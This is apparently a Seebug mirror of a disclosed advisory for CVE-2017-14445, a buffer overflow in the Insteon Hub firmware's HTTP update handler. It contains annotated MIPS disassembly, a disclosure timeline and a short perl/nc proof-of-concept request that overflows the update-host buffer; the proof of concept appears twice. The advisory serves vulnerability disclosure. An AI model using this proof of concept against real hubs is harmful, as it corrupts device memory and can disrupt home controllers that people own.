Insteon Hub HTTPExecuteGet Firmware Update host Parameter Buffer Overflow Vulnerability(CVE-2017-14445)

2018-06-22T00:00:00
ID SSV:97367
Type seebug
Reporter My Seebug
Modified 2018-06-22T00:00:00

Description

Summary

An exploitable buffer overflow vulnerability exists in Insteon Hub running firmware version 1012. The HTTP server implementation incorrectly handles the host parameter during a firmware update request, leading to a buffer overflow on a global section. An attacker can send an HTTP GET request to trigger this vulnerability.

Tested Versions

Insteon Hub 2245-222 - Firmware version 1012

Product URLs

http://www.insteon.com/insteon-hub

CVSSv3 Score

5.3 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

CWE

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Details

Insteon produces a series of devices aimed at controlling and monitoring a home: wall switches, led bulbs, thermostats, cameras, etc. One of those is Insteon Hub, a central controller which allows an end-user to use his smartphone to connect to his own house remotely and manage any other device through it. The Insteon Hub board utilizes several MCUs, the firmware in question is executed by a Microchip PIC32MX MCU, which has a MIPS32 architecture.

The firmware uses Microchip's "Libraries for Applications" as core for the application code. Its functionality resides on a co-operative multitasking loop, which continuously executes all the existing tasks: the library already defines several tasks, e.g. for reading and sending network packets and calling the relative callbacks. Custom applications building on this library simply need to add new functions at the end of the loop, taking care of executing tasks as quickly as possible, or splitting them in several loop cycles, in order to let other tasks running smoothly.

One of the default tasks defined by Microchip's "Libraries for Applications" is called HTTPServer. Developers can use this task to handle HTTP requests but they have to implement a few functions on their own. One of these is the HTTPExecuteGet function, which is called when a GET request is received.

The HTTPServer task fills the global structure curHTTP, which has type HTTP_CONN. ``` // Stores extended state data for each connection typedef struct { DWORD byteCount; // How many bytes have been read so far DWORD nextCallback; // Byte index of the next callback DWORD callbackID; // Callback ID to execute, also used as watchdog timer DWORD callbackPos; // Callback position indicator BYTE ptrData; // Points to first free byte in data BYTE ptrRead; // Points to current read location FILE_HANDLE file; // File pointer for the file being served FILE_HANDLE offsets; // File pointer for any offset info being used BYTE hasArgs; // True if there were get or cookie arguments BYTE isAuthorized; // 0x00-0x79 on fail, 0x80-0xff on pass HTTP_STATUS httpStatus; // Request method/status HTTP_FILE_TYPE fileType; // File type to return with Content-Type BYTE data[HTTP_MAX_DATA_LEN]; // General purpose data buffer #if defined(HTTP_USE_POST) BYTE smPost; // POST state machine variable #endif } HTTP_CONN;

extern HTTP_CONN curHTTP; ```

The developer implementing the HTTPExecuteGet function can thus access curHTTP to implement its logic. Note that HTTPExecuteGet is only reached if a valid basic-auth string is provided. seg000:9D02C758 insteon_HTTPExecuteGet: seg000:9D02C758 seg000:9D02C758 filename= -0x98 seg000:9D02C758 req_pointers= -0x84 seg000:9D02C758 getparam_1= -0x80 seg000:9D02C758 getparam_2= -0x7C seg000:9D02C758 getparam_3= -0x78 seg000:9D02C758 getparam_4= -0x74 seg000:9D02C758 var_20 = -0x20 seg000:9D02C758 var_1C = -0x1C seg000:9D02C758 var_18 = -0x18 seg000:9D02C758 var_14 = -0x14 seg000:9D02C758 var_10 = -0x10 seg000:9D02C758 var_C = -0xC seg000:9D02C758 var_8 = -8 seg000:9D02C758 var_4 = -4 seg000:9D02C758 seg000:9D02C758 000 58 FF BD 27 addiu $sp, -0xA8 seg000:9D02C75C 0A8 A4 00 BF AF sw $ra, 0xA8+var_4($sp) seg000:9D02C760 0A8 A0 00 B6 AF sw $s6, 0xA8+var_8($sp) seg000:9D02C764 0A8 9C 00 B5 AF sw $s5, 0xA8+var_C($sp) seg000:9D02C768 0A8 98 00 B4 AF sw $s4, 0xA8+var_10($sp) seg000:9D02C76C 0A8 94 00 B3 AF sw $s3, 0xA8+var_14($sp) seg000:9D02C770 0A8 90 00 B2 AF sw $s2, 0xA8+var_18($sp) seg000:9D02C774 0A8 8C 00 B1 AF sw $s1, 0xA8+var_1C($sp) seg000:9D02C778 0A8 88 00 B0 AF sw $s0, 0xA8+var_20($sp) seg000:9D02C77C 0A8 83 0F 41 0F jal sub_9d043e0c # [1] seg000:9D02C780 0A8 24 00 A4 27 addiu $a0, $sp, 0xA8+req_pointers # [2] seg000:9D02C784 0A8 21 90 40 00 move $s2, $v0 # [3] seg000:9D02C788 0A8 10 00 A5 27 addiu $a1, $sp, 0xA8+filename seg000:9D02C78C 0A8 24 00 A5 AF sw $a1, 0xA8+req_pointers($sp) seg000:9D02C790 0A8 00 A0 10 3C+ li $s0, curHTTP seg000:9D02C798 0A8 18 00 04 92 lbu $a0, (curHTTP_file - 0xA0000CD8)($s0) seg000:9D02C79C 0A8 DE 7F 41 0F jal MPFSGetFilename seg000:9D02C7A0 0A8 14 00 06 24 li $a2, 0x14 seg000:9D02C7A4 0A8 18 00 03 92 lbu $v1, (curHTTP_file - 0xA0000CD8)($s0) seg000:9D02C7A8 0A8 FF 00 02 24 li $v0, 0xFF # [4] seg000:9D02C7AC 0A8 37 03 62 10 beq $v1, $v0, loc_9D02D48C seg000:9D02C7B0 0A8 FC 83 82 8F lw $v0, -0x7C04($gp)

The function calls sub_9d043e0c at [1] passing a local array of pointers ([2]): this function reads the GET parameters from curHTTP.data and inserts a pointer to each parameter into the array of pointers. It also returns the number of extracted parameters in $v0 ([3]). The requested path is then saved to filename by calling MPFSGetFilename and if the requested file doesn't exist in the MPFS (Microchip Proprietary File System), curHTTP.file will contain 0xff (MPFS_INVALID_HANDLE [4]). seg000:9D02D48C loc_9D02D48C: seg000:9D02D48C 0A8 3C 84 80 A3 sb $zero, -0x7BC4($gp) seg000:9D02D490 seg000:9D02D490 loc_9D02D490: seg000:9D02D490 0A8 03 00 52 2E sltiu $s2, 3 # [5] seg000:9D02D494 0A8 E1 01 40 16 bnez $s2, loc_9D02DC1C seg000:9D02D498 0A8 21 18 00 00 move $v1, $zero seg000:9D02D49C 0A8 30 00 A2 8F lw $v0, 0xA8+getparam_3($sp) # [6] seg000:9D02D4A0 0A8 00 00 43 90 lbu $v1, 0($v0) # [6] seg000:9D02D4A4 0A8 24 00 A2 8F lw $v0, 0xA8+req_pointers($sp) seg000:9D02D4A8 0A8 00 00 43 A0 sb $v1, 0($v0) seg000:9D02D4AC 0A8 24 00 A2 8F lw $v0, 0xA8+req_pointers($sp) seg000:9D02D4B0 0A8 00 00 42 90 lbu $v0, 0($v0) seg000:9D02D4B4 0A8 D0 FF 42 24 addiu $v0, -0x30 # [6] seg000:9D02D4B8 0A8 FF 00 42 30 andi $v0, 0xFF seg000:9D02D4BC 0A8 0A 00 43 2C sltiu $v1, $v0, 0xA seg000:9D02D4C0 0A8 0B 00 60 50 beqzl $v1, loc_9D02D4F0 seg000:9D02D4C4 0A8 01 00 02 24 li $v0, 1 seg000:9D02D4C8 0A8 01 00 03 24 li $v1, 1 seg000:9D02D4CC 0A8 13 01 43 10 beq $v0, $v1, loc_9D02D91C # [6] seg000:9D02D4D0 0A8 28 00 B0 8F lw $s0, 0xA8+getparam_1($sp) # [7] ... seg000:9D02D91C loc_9D02D91C: seg000:9D02D91C 0A8 00 00 02 92 lbu $v0, 0($s0) # [7] seg000:9D02D920 0A8 73 00 03 24 li $v1, "s" seg000:9D02D924 0A8 30 00 43 10 beq $v0, $v1, loc_9D02D9E8 seg000:9D02D928 0A8 75 00 03 24 li $v1, "u" # [7] seg000:9D02D92C 0A8 05 00 43 10 beq $v0, $v1, loc_9D02D944 seg000:9D02D930 0A8 58 00 03 24 li $v1, "X" seg000:9D02D934 0A8 B9 00 43 14 bne $v0, $v1, loc_9D02DC1C seg000:9D02D938 0A8 21 18 00 00 move $v1, $zero seg000:9D02D93C 0A8 84 B6 40 0B j loc_9D02DA10 seg000:9D02D940 0A8 01 00 02 92 lbu $v0, 1($s0) seg000:9D02D944 seg000:9D02D944 loc_9D02D944: seg000:9D02D944 0A8 00 A0 04 3C+ la $a0, update_check_global_host # [8] seg000:9D02D94C 0A8 1F DF 41 0F jal strcpy seg000:9D02D950 0A8 2C 00 A5 8F lw $a1, 0xA8+getparam_2($sp) # [10] seg000:9D02D954 0A8 00 A0 04 3C+ la $a0, update_check_global_uri # [9] seg000:9D02D95C 0A8 1F DF 41 0F jal strcpy seg000:9D02D960 0A8 34 00 A5 8F lw $a1, 0xA8+getparam_4($sp) seg000:9D02D964 0A8 21 20 00 02 move $a0, $s0 seg000:9D02D968 0A8 07 9D 05 3C lui $a1, 0x9D07 seg000:9D02D96C 0A8 87 E7 41 0F jal strcmp seg000:9D02D970 0A8 E4 28 A5 24 la $a1, aUp_firm # "up_firm" seg000:9D02D974 0A8 07 00 40 14 bnez $v0, loc_9D02D994 ...

The function continues by checking a few constraints on the parameters. An interesting path exists with these conditions:

  • there are at least 3 parameters [5]
  • parameter 3 is "1" [6]
  • parameter 1 starts with "u" [7]

After these checks, the function copies parameter 2 to the global variable at 0xa00016e0 (variable containing the update host [8]) and parameter 4 to the global variable at 0xa00016a0 (variable containing the update URL [9]). If parameter 1 is either equal to "upfirm", "upbin" or "up_PLM", the device will later perform an HTTP GET request using the global URL and host, in order to request a firmware update.

As we can see, the strcpy at [10] is performed using parameter 4 as source, which can be fully controlled by an attacker. Nevertheless, Microchip's "Libraries for Applications" implements a basic buffer overflow check on HTTP requests, which limits the size of the HTTP data received to a maximum of 100 bytes. // Define the maximum data length for reading cookie and GET/POST arguments (bytes) #define HTTP_MAX_DATA_LEN (100u)

Exploit Proof-of-Concept

The following proof of concept shows how to overflow the global update-host buffer. $ sPayload=$(perl -e 'print "A"x0x56') $ perl <<EOD | nc $INSTEON_IP 25105 print "GET /x?u&${sPayload}&1& HTTP/1.0\r\n"; print "Authorization: Basic VXNlcm5hbWU6UGFzc3dvcmQ=\r\n"; print "\r\n\r\n"; EOD

Timeline

  • 2017-12-05 - Vendor Disclosure
  • 2018-01-18 - Vendor advised issues under evaluation
  • 2018-02-12 - 60 day follow up with vendor
  • 2018-03-09 - Vendor advised working on course of action
  • 2018-04-06 - Follow up with vendor on fix/timeline
  • 2018-04-12 - Vendor advised issues addressed & plan for beta testing
  • 2018-06-19 - Public disclosure
                                        
                                            
                                                $ sPayload=$(perl -e 'print "A"x0x56')
$ perl <<EOD | nc $INSTEON_IP 25105
print "GET /x?u&${sPayload}&1& HTTP/1.0\r\n";
print "Authorization: Basic VXNlcm5hbWU6UGFzc3dvcmQ=\r\n";
print "\r\n\r\n";
EOD